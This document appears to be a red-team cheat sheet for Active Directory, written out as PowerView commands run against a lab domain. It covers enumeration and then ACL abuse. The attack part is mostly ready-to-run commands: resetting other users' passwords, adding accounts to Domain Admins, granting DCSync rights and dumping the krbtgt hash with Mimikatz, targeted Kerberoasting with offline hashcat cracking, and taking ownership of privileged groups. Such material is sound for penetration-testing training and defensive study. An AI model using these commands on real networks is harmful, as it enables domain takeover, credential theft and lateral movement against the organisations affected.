Active Directory Enumeration & ACL Abuse

Get-DomainUser returns every user object in the domain with all their attributes. Raw output is verbose, so pipe into select to extract what matters.

# All users — full attribute dump
PS C:\AD\Tools> Get-DomainUser

# Concise view — name, SAM account, description
PS C:\AD\Tools> Get-DomainUser | select samaccountname, description, memberof

# Find users with passwords that never expire (common on service accounts)
PS C:\AD\Tools> Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD | select samaccountname

# Find users with a password set more than 90 days ago (stale credentials)
PS C:\AD\Tools> Get-DomainUser | Where-Object { $_.pwdlastset -lt (Get-Date).AddDays(-90) } | select samaccountname, pwdlastset

# Find admin-named accounts (quick win filter)
PS C:\AD\Tools> Get-DomainUser | Where-Object { $_.samaccountname -match "admin" } | select samaccountname

Knowing every machine in the domain helps you identify high-value targets (DCs, SQL servers, file servers) and understand the network layout before you start moving laterally.

# List all computers — DNS hostnames only
PS C:\AD\Tools> Get-DomainComputer | select -ExpandProperty dnshostname

# Example output:
masaaki-dc.masaaki-corp.local
masaaki-mssql.masaaki-corp.local
masaaki-srv01.masaaki-corp.local
masaaki-web01.masaaki-corp.local

# Full object — OS, last logon, IP
PS C:\AD\Tools> Get-DomainComputer | select name, operatingsystem, lastlogondate

# Find servers running Windows Server (higher value targets)
PS C:\AD\Tools> Get-DomainComputer | Where-Object { $_.operatingsystem -match "Server" } | select name, operatingsystem

# Using native AD module (if RSAT available)
PS C:\AD\Tools> Get-ADComputer -Filter * -Properties * | select Name, DNSHostName, OperatingSystem

Domain Admins have full control over every machine in the domain. Enterprise Admins have full control over every domain in the forest. These are your primary targets.

# List Domain Admins group details
PS C:\AD\Tools> Get-DomainGroup -Identity "Domain Admins"

# List members of Domain Admins (with full info)
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName, MemberObjectClass

# Enterprise Admins only exists in the ROOT domain of the forest.
# Querying from a child domain requires specifying the parent domain explicitly.
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Enterprise Admins" -Domain corp.local

# Example output:
MemberName                    : Administrator
MemberDistinguishedName       : CN=Administrator,CN=Users,DC=corp,DC=local

# Find all groups a user belongs to (useful once you have low-priv access)
PS C:\AD\Tools> Get-DomainGroup -UserName masaaki | select name

# Find groups with "admin" in the name across the domain
PS C:\AD\Tools> Get-DomainGroup | Where-Object { $_.name -match "admin" } | select name

# Recursive group membership — finds nested admins
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberName

# Full OU listing
PS C:\AD\Tools> Get-DomainOU

# Just the names — quick overview of the OU structure
PS C:\AD\Tools> Get-DomainOU | select -ExpandProperty name

# Example output:
Domain Controllers
Servers
Workstations
ServiceAccounts
TargetMachines

You found an interesting OU (e.g. TargetMachines). Get its distinguished name first, then use it as a search base.

# Get the distinguished name of the TargetMachines OU
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).distinguishedname
OU=TargetMachines,DC=masaaki-corp,DC=local

# Use the DN as a search base to list all computers in that OU
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name

# Or combine in one line
PS C:\AD\Tools> Get-DomainComputer -SearchBase "OU=TargetMachines,DC=masaaki-corp,DC=local" | select name

GPOs are linked to OUs via the gplink attribute. The link contains an LDAP path with the GPO's GUID, which you can resolve to the actual GPO name and settings.

# List all GPOs in the domain
PS C:\AD\Tools> Get-DomainGPO | select displayname, gpcfilesyspath

# Find the GPO linked to the TargetMachines OU
# Step 1: Extract the gplink attribute
PS C:\AD\Tools> (Get-DomainOU -Identity TargetMachines).gplink
[LDAP://cn={A4B2C819-3F72-49D3-B90C-1234567890AB},cn=policies,cn=system,DC=masaaki-corp,DC=local;0]

# Step 2: Use the GUID to get the GPO details
PS C:\AD\Tools> Get-DomainGPO -Identity '{A4B2C819-3F72-49D3-B90C-1234567890AB}'

# One-liner: resolve GPO from OU gplink automatically
PS C:\AD\Tools> Get-DomainGPO -Identity (Get-DomainOU -Identity TargetMachines).gplink.substring(11,(Get-DomainOU -Identity TargetMachines).gplink.length-72)

# Check who can modify GPOs — look for non-admin write permissions
PS C:\AD\Tools> Get-DomainGPO | %{ Get-DomainObjectAcl -Identity $_.cn -ResolveGUIDs } | Where-Object { $_.ActiveDirectoryRights -match "Write" -and $_.SecurityIdentifier -notmatch "S-1-5-32-544" }

# Enumerate all ACEs on the Domain Admins group
PS C:\AD\Tools> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose

# Example output (one ACE):
ObjectDN              : CN=Domain Admins,CN=Users,DC=masaaki-corp,DC=local
ActiveDirectoryRights : GenericWrite
ObjectAceType         : Member
SecurityIdentifier    : S-1-5-21-719815819-3726368948-3917688648-1105

# Resolve the SID to a human-readable name
PS C:\AD\Tools> ConvertFrom-SID S-1-5-21-719815819-3726368948-3917688648-1105
masaaki-corp\stephane

# That means: stephane has GenericWrite on Domain Admins → can add himself as a member

The most useful enumeration query: find every AD object where a compromised user has a non-standard right. This is what reveals your privilege escalation path.

# Find all interesting ACLs for the current user "masaaki"
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "masaaki"}

# Find interesting ACLs for an entire group (e.g. TargetUsers)
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "TargetUsers"}

# Filter to only write-class rights (the actionable ones)
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.IdentityReferenceName -match "masaaki" -and
    $_.ActiveDirectoryRights -match "Write|GenericAll|Force"
}

# List all domains in the current forest
PS C:\AD\Tools> Get-ForestDomain -Verbose

# Example output:
Name                  : masaaki-corp.local
Name                  : corp.local

# Map all trusts of the current domain (masaaki-corp.local)
PS C:\AD\Tools> Get-DomainTrust

# Example output:
SourceName      : masaaki-corp.local
TargetName      : corp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional

# List ALL trusts across all domains in the forest
PS C:\AD\Tools> Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name}

External trusts have FILTER_SIDS in their TrustAttributes. This means SID filtering is active — SIDs from the trusted domain that belong to privileged groups are stripped from authentication tokens. However, credential reuse and lateral movement are still possible.

# Find external trusts in the entire forest
PS C:\AD\Tools> Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

# Find external trusts of only the current domain
PS C:\AD\Tools> Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

If a bidirectional trust exists with an external forest (e.g. partner.local), you can enumerate its trust structure from your current position. One-way trust from them to you also allows this.

# Map trusts inside the partner.local forest from our current position
PS C:\AD\Tools> Get-ForestDomain -Forest partner.local | %{Get-DomainTrust -Domain $_.Name}

# Full picture: enumerate every forest reachable from masaaki-corp.local
PS C:\AD\Tools> Get-ForestTrust | select TopLevelNames, TrustDirection, TrustType

Scenario: Your compromised user masaaki has GenericAll on user stephane. You can reset stephane's password and authenticate as them.

# Confirm the ACE — masaaki has GenericAll on stephane
PS C:\AD\Tools> Get-DomainObjectAcl -Identity stephane -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll" -and $_.IdentityReferenceName -match "masaaki"}

# Reset stephane's password (no knowledge of current password needed)
PS C:\AD\Tools> $SecPass = ConvertTo-SecureString 'NewP@ssword123!' -AsPlainText -Force
PS C:\AD\Tools> Set-DomainUserPassword -Identity stephane -AccountPassword $SecPass -Verbose

# Alternatively — add masaaki to Domain Admins if GenericAll is on a group
PS C:\AD\Tools> Add-DomainGroupMember -Identity "Domain Admins" -Members masaaki -Verbose

# Verify membership was added
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName

Scenario: masaaki has WriteDACL on the domain object (DC=masaaki-corp,DC=local). By modifying the domain's DACL, you can grant yourself DCSync rights — the ability to replicate all password hashes from the DC as if you were a domain controller. This is a silent path to all credentials in the domain.

DCSync requires two rights on the domain object:

• DS-Replication-Get-Changes (GUID: 1131f6aa-...)
• DS-Replication-Get-Changes-All (GUID: 1131f6ad-...)

# Add DCSync rights to masaaki using WriteDACL on the domain object
PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity "DC=masaaki-corp,DC=local" `
    -PrincipalIdentity masaaki `
    -Rights DCSync `
    -Verbose

# Verify the rights were added
PS C:\AD\Tools> Get-DomainObjectAcl -Identity "DC=masaaki-corp,DC=local" -ResolveGUIDs | ?{$_.IdentityReferenceName -match "masaaki"}

# Now run DCSync with Mimikatz (from a new shell / after re-auth)
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt" exit

Scenario: masaaki has User-Force-Change-Password extended right on masaaki_svc. This is a service account that likely has privileged access to a server. You reset the password, authenticate as the service account, and move laterally.

# Confirm the ForceChangePassword ACE
PS C:\AD\Tools> Get-DomainObjectAcl -Identity masaaki_svc -ResolveGUIDs | ?{$_.ObjectAceType -match "User-Force-Change-Password"}

# Reset the password of masaaki_svc
PS C:\AD\Tools> $NewPass = ConvertTo-SecureString 'Compromised@2026!' -AsPlainText -Force
PS C:\AD\Tools> Set-DomainUserPassword -Identity masaaki_svc -AccountPassword $NewPass -Verbose

# Authenticate as masaaki_svc using the new password
PS C:\AD\Tools> $Cred = New-Object System.Management.Automation.PSCredential("masaaki-corp\masaaki_svc", $NewPass)
PS C:\AD\Tools> Enter-PSSession -ComputerName masaaki-srv01 -Credential $Cred

Scenario: masaaki has GenericWrite on stephane. GenericWrite lets you modify any non-protected attribute — specifically, you can set a fake SPN on the account. Once an SPN exists, you can request a TGS ticket for it, which is encrypted with the account's password hash. You then crack the hash offline.

This is called Targeted Kerberoasting — you don't need a service account with an existing SPN, you create one.

# Step 1: Set a fake SPN on stephane's account
PS C:\AD\Tools> Set-DomainObject -Identity stephane -Set @{serviceprincipalname='fake/masaakisrv'} -Verbose

# Verify the SPN was set
PS C:\AD\Tools> Get-DomainUser stephane | select serviceprincipalname
serviceprincipalname : fake/masaakisrv

# Step 2: Request a TGS for the fake SPN (now stephane is "Kerberoastable")
PS C:\AD\Tools> Get-DomainSPNTicket -SPN "fake/masaakisrv" | fl

# The hash output will look like: $krb5tgs$23$*stephane$...
# Step 3: Crack offline with hashcat
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

# Step 4: Clean up — remove the fake SPN after cracking
PS C:\AD\Tools> Set-DomainObject -Identity stephane -Clear serviceprincipalname -Verbose

Scenario: masaaki has WriteOwner on the Domain Admins group. By taking ownership of the object, you become its owner — and owners can always modify the DACL regardless of existing ACEs. You then grant yourself GenericAll and add yourself to the group.

# Step 1: Set masaaki as the owner of Domain Admins
PS C:\AD\Tools> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity masaaki -Verbose

# Step 2: Grant masaaki GenericAll on the group (now we control the DACL)
PS C:\AD\Tools> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity masaaki -Rights All -Verbose

# Step 3: Add masaaki to Domain Admins
PS C:\AD\Tools> Add-DomainGroupMember -Identity "Domain Admins" -Members masaaki -Verbose

# Confirm
PS C:\AD\Tools> Get-DomainGroupMember -Identity "Domain Admins" | select MemberName